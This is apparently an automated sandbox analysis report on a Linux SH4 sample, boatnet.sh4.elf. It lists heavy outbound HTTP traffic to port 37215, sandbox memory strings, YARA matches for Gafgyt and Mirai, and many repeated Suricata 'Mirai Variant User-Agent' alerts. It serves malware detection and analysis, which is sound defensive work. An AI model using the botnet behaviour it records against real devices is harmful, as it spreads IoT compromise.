Source: unknown	Network traffic detected: HTTP traffic on port 36870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33400 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35776 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40220 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48082 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43724 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58140 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34810 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60622 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50660 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48522 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54732 -> 37215

Source: /tmp/boatnet.sh4.elf (PID: 5479)

Queries kernel information via 'uname':

Jump to behavior

Source: boatnet.sh4.elf, 5479.1.00007ffc8fa6f000.00007ffc8fa90000.rw-.sdmp, boatnet.sh4.elf, 5483.1.00007ffc8fa6f000.00007ffc8fa90000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/boatnet.sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/boatnet.sh4.elf
Source: boatnet.sh4.elf, 5479.1.00007ffc8fa6f000.00007ffc8fa90000.rw-.sdmp, boatnet.sh4.elf, 5483.1.00007ffc8fa6f000.00007ffc8fa90000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: boatnet.sh4.elf, 5479.1.000055b84f1d0000.000055b84f233000.rw-.sdmp, boatnet.sh4.elf, 5483.1.000055b84f1d0000.000055b84f233000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: boatnet.sh4.elf, 5479.1.000055b84f1d0000.000055b84f233000.rw-.sdmp, boatnet.sh4.elf, 5483.1.000055b84f1d0000.000055b84f233000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: boatnet.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: boatnet.sh4.elf, type: SAMPLE
Source: Yara match	File source: 5483.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5479.1.00007f4544400000.00007f4544412000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: boatnet.sh4.elf PID: 5479, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: boatnet.sh4.elf PID: 5483, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
